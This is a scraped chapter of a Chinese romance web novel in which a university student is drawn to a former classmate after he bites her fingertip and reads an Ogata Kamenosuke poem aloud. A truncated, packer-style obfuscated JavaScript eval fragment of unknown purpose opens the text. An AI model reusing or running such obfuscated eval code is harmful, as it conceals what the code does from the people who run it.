;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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沙栀子也几乎忘了那个高中总是看向自己、有点讨厌的转学生,直到在语言系教室里再一次看见对方。 新鲜的一切。 但有个陈旧的人。 这位曾经的同班同学跟沙栀子一样,长大了几岁,已经有了成年人的初步体型,十分高挑沉默。至于外貌,井霁看上去更加深邃成熟了,轮廓依旧偏向精致绮美,整个人像一支着色俊丽的洋荷花。他的眼睛里多了一种醒悟的引诱力。他经常会在课上课下递给沙栀子一张纸,至于写的什么,其他目睹这一幕窃窃私语的同学也很好奇。 但夹入课本后沙栀子几乎不看。 她几乎不理他,常常下课之后就穿过座位离开,到了校外更是想要跟她亲近的人找不到的了。 她瞥向坐在前面一排的井霁,蜷曲的发尾编成长辫,像蝎子尾也像蛇尾,但缀着沙栀子的兰花发卡。 沙栀子总想上手摸一下,总被吸引着视线,也有点想偷偷拿回来的冲动。 但那命运的转折一天来了。 就像那首诗突然走近走来,带着山茶的血红色,引诱的声音比海妖还迷醉。 那天沙栀子在课上原本认真听着,讲台上突然媒体卡顿,她只好撑着脸等老师调好再记下一节内容。 走神之间又被井霁发尾那闪出阳光的兰花发卡晃到眼睛,眨了几下,像被猫追逐光点一样视线追逐过去。 他正好坐在窗户边,离沙栀子不过一个手臂的距离。 ……课堂临近尾声,教室里松散起来。 好像也没人注意自己。 沙栀子终于没忍住伸出手,要不就做一次小偷吧……她会补偿转学生的,用别的替给他。 没有回头的肌肉反应,井霁直接向后伸手,紧握住发卡和沙栀子的指尖。在沙栀子被抓包的吃惊神情里,他露出一个腼腆的笑,然后做出令人费解的哗众举动—— 如同咬下水果,如同要吃唇膏一样的饿态。 他把沙栀子的手捉到齿间,像是心知肚明的惩罚似的,轻轻咬了咬。不可谓不亲昵的行为,瞬间引发了悄然的哄堂之声,似乎都以为是什么混血的国外礼仪,完全不知道这个看起来俊美妖艳的青年已经在国内生活了好几年。 投来视线的老师为了恢复纪律,用拳抵唇咳了两声,点中了井霁来读一首诗。 恰好双语对照都是他学过的语言。 于是他站起来,先用中文读这首由尾形龟之助写的诗。沙哑有磁性的声音在棕色眼眸下平稳踱出: “好像是当我正要走过宏伟壮丽的桥——” “猫从对面走过来了” “我不料想在这里遇到猫” …… “这样的想法触怒了桥” “迅速地变得像独木桥一样细了” 原本还在其他人视线中略皱眉恼怒的沙栀子忽然怔住了,攥紧的指尖上一道题浅浅咬痕。要收拾书包的动作慢下来,被雷击中一般呆立当场。要走自己发卡的转学生,在声带的震动下,在这首诗的笼罩之下,犹如吹去结膜灰尘一般,露出阳光直射的清晰五官。 她看着井霁用原作者的母语念了第二遍。 “然后” “回过神来我在那独木桥上” “浑身湿透的猫跟我说了什么话” “猫就这样” “有想要趁隙缠住我的腿的动作” 极具情感表现力的嗓音里。 当最后两个字里诗的谜题揭开,沙栀子的心跳异常,仿佛在认真思忖这个词语—— “情慾”。 07 离开教室的沙栀子第一次在楼道的走廊里打开书里夹着的纸条,上面繁复地写着自我臆想的话。 而结尾无一不是: 【无论如何】 【我也想和沙栀子成为朋友啊】 而仿佛处在大梦初醒前的沙栀子想着那首诗。诗是写在谱面的调子,而有着演奏能力的转学生,英挺雪白地伫立在词句身边,奏响了那些韵律。 那听起来很美。 读起来,也格外美丽。